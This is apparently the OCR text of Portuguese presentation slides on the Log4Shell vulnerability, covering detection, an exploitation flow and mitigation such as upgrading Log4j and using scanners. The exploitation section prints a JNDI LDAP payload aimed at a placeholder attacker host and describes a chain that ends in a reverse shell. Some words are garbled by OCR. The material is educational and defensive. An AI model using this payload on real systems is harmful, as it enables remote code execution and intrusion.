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Detecao

Ela existe, mas onde esta?




l Payload

S{jndi:ldap://IP_Atacante:Porto/ExploitPayload}



Log4Shell

Attacker controlled request

Application
X | INDI Interface

Attacker hosted
LDAP / RMI Server

API Interface

Attacker hosted

Regisiny server

Req uest: /ExploitPayload
Hes ponse: FxplotPayload.class Oyect

from attacker hosted remote server

Fonte: https://sysdig.com/blog/exploit-detect-mitigate-logdj-cve/



LoghShel

A sua detecao pode ser dificil dada a quantidade de
potenciais parametros (cabecalhos HTTP, inputs de
formularios, etc) numa aplicacao.

Local Remoto

https://github.com/logpresso/CVE-  https://github.com/fullhunt/log4j-
2021-44228-Scanner scan




2.
E xploracao

Ja foste!




Log4Shell
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Aplicacao
Vulneravel

1) jndi:ldap:/lip_atacante:porto/#Exploit

\

Atacante
2) Realizado pedido ao servidor LDAP

Servidar LDAP

3) Reencaminhado pedido para o servidor HTTP <

4) E fornecido o Exploit.class

5) Executado cddigo malicioso presente na classe Listener Reverse Shell
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3.
Mitigacao

Isto nao volta a acontecer!




LoghShel

Solucao: Atualizar o Log4j para versao 2.17

Alternativas:

» log4j2.formatMsgNoLookups=true
» https://github.com/logpresso/CVE-2021-44228-Scanner (--fix)



Dica de Algibeira: Executar os Scripts em Massa na Rede

Linux:

» Ansible
» Puppet

Windows:

» Active Directory (GPO)
» Psexec
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